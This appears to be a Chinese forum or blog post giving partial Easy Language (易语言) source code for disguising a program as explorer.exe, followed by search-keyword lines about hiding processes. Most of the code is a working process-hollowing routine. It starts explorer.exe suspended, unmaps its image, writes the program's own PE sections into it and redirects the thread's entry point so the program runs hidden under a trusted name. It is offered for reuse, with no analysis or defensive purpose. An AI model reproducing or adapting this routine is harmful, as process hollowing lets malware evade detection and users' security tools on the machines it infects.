部分代码:
.版本 2
.支持库 EThread
.支持库 shell
.支持库 eAPI
.程序集 窗口程序集_启动窗口
.子程序 __启动窗口_创建完毕
启动线程 (&伪装进程隐藏, , )
.子程序 伪装进程隐藏
.如果真 (读配置项 (取特定目录 (11) + “\” + “临时配置文件.ini”, “是否首次运行”, “标志”, ) = “”)
写配置项 (取特定目录 (11) + “\” + “临时配置文件.ini”, “是否首次运行”, “标志”, “1”)
.如果真 (附加进程运行 () = 假)
.如果真 (附加进程运行 () = 假)
删除文件 (取特定目录 (11) + “\临时配置文件.ini”)
终止进程 (取执行文件名 ())
.如果真结束
.如果真结束
.如果真结束
.如果真 (读配置项 (取特定目录 (11) + “\临时配置文件.ini”, “是否首次运行”, “标志”, ) = “1”)
.如果真 (取执行文件名 () ≠ “explorer.exe”)
删除文件 (取特定目录 (11) + “\临时配置文件.ini”)
终止进程 (取执行文件名 ())
.如果真结束
删除文件 (取特定目录 (11) + “\临时配置文件.ini”)
.如果真结束
.子程序 附加进程运行, 逻辑型
.局部变量 idh, IMAGE_DOS_HEADER
.局部变量 inh, IMAGE_NT_HEADERS
.局部变量 ish, IMAGE_SECTION_HEADER
.局部变量 si, STARTUPINFO_x
.局部变量 context, CONTEXT86
.局部变量 ImageBase, 整数型
.局部变量 i, 整数型
.局部变量 addr, 整数型
.局部变量 lOffset, 整数型
.局部变量 DeskCpl, DeskCpl
.局部变量 Rom, 字节集
连续赋值 (0, DeskCpl.id, DeskCpl.handle, DeskCpl.iid, DeskCpl.ihandle)
Rom = 读入文件 (取运行目录 () + “\” + 取执行文件名 ())
RtlMoveMemory_IMAGE_DOS_HEADER_ (idh, Rom [1], Len_idh_ (idh))
.如果真 (idh.e_magic ≠ 23117)
返回 (假)
.如果真结束
RtlMoveMemory_IMAGE_NT_HEADERS (inh, Rom [idh.e_lfanew + 1], Len_inh_ (inh))
.如果真 (inh.Signature ≠ 17744)
返回 (假)
.如果真结束
si.cb = Len_si_ (si)
si.wShowWindow = 2
.如果真 (CreateProcess_x_ (0, “explorer.exe”, 0, 0, 0, 4, 0, 0, si, DeskCpl) = 0)
返回 (假)
.如果真结束
context.ContextFlags = 65538
.如果真 (GetThreadContext_ (DeskCpl.ihandle, context) = 0)
ClearProcess (DeskCpl)
返回 (假)
.如果真结束
ReadProcessMemory_ (DeskCpl.handle, context.Ebx + 8, addr, 4, 0)
.如果真 (addr = 0)
ClearProcess (DeskCpl)
返回 (假)
.如果真结束
.如果真 (ZwUnmapViewOfSection_ (DeskCpl.handle, addr) = 0)
ClearProcess (DeskCpl)
返回 (假)
.如果真结束
ImageBase = VirtualAllocEx (DeskCpl.handle, inh.OptionalHeader.ImageBase, inh.OptionalHeader.SizeOfImage, 12288, 4)
.如果真 (ImageBase = 0)
ClearProcess (DeskCpl)
返回 (假)
.如果真结束
WriteProcessMemory (DeskCpl.handle, ImageBase, Rom [1], inh.OptionalHeader.SizeOfHeaders, 0)
lOffset = idh.e_lfanew + Len_inh_ (inh)
.计次循环首 (inh.FileHeader.NumberOfSections, i)
RtlMoveMemory_IMAGE_SECTION_HEADER_ (ish, Rom [lOffset + (i - 1) × 40 + 1], Len_ish (ish))
.如果真 (ish.PointerToRawData + 1 > ByteSize (Rom))
ClearProcess (DeskCpl)
返回 (假)
.如果真结束
WriteProcessMemory (DeskCpl.handle, ImageBase + ish.VirtualAddress, Rom [ish.PointerToRawData + 1], ish.SizeOfRawData, 0)
VirtualProtectEx (DeskCpl.handle, ImageBase + ish.VirtualAddress, ish.VirtualSize, Protect_ (ish.characteristics), addr)
.计次循环尾 ()
WriteProcessMemory_整数35 (DeskCpl.handle, context.Ebx + 8, ImageBase, 4, 0)
context.Eax = ImageBase + inh.OptionalHeader.AddressOfEntryPoint
SetThreadContext (DeskCpl.ihandle, context)
ResumeThread_ (DeskCpl.ihandle)
CloseHandle_ (DeskCpl.ihandle)
CloseHandle_ (DeskCpl.handle)
返回 (真)
.子程序 Protect_, 整数型
.参数 characteristics, 整数型
返回 (多项选择 (RShift_ (characteristics, 29) + 1, 1, 16, 2, 32, 4, 64, 4, 64))
.子程序 ByteSize, 整数型
.参数 Byte, 字节集
.局部变量 code, 整数型
.局部变量 Address, 整数型
.如果真 (Byte = { })
返回 (0)
.如果真结束
置入代码 ({ 139, 93, 8, 139, 27, 139, 91, 4, 137, 93, 252 })
返回 (code)
.子程序 ClearProcess
.参数 DeskCpl, DeskCpl, 参考
TerminateProcess_ (DeskCpl.handle, 0)
CloseHandle_ (DeskCpl.ihandle)
CloseHandle_ (DeskCpl.handle)
连续赋值 (0, DeskCpl.id, DeskCpl.handle, DeskCpl.iid, DeskCpl.ihandle)
.子程序 RShift_, 整数型
.参数 lValue, 整数型
.参数 lNumberOfBitsToShift, 整数型
返回 (vbLongToULong_ (lValue) ÷ power (2, lNumberOfBitsToShift))
.子程序 power, 双精度小数型
.参数 欲求次方数值, 双精度小数型
.参数 次方数, 双精度小数型
置入代码 ({ 221, 69, 16, 221, 69, 8, 217, 241, 217, 192, 217, 252, 220, 225, 217, 201, 217, 224, 217, 240, 217, 232, 222, 193, 217, 253, 221, 217, 221, 93, 248, 139, 85, 252, 139, 69, 248, 201, 194, 16, 0 })
返回 (0)
.子程序 vbLongToULong_, 双精度小数型
.参数 Value, 双精度小数型
.如果真 (Value < 0)
返回 (Value + 4294967296)
.如果真结束
返回 (Value)
.子程序 _按钮1_被单击
.判断开始 (编辑框1.内容 = “123”)
信息框 (“密码正确”, 0, , )
.默认
信息框 (“密码错误”, 0, , )
.判断结束
易语言伪装进程名
易语言伪装进程
进程隐藏伪装
易语言附加进程运行
E语言隐藏进程源码
spring可以实现程序进程的伪装嘛
易语言程序伪装
e语言程序伪装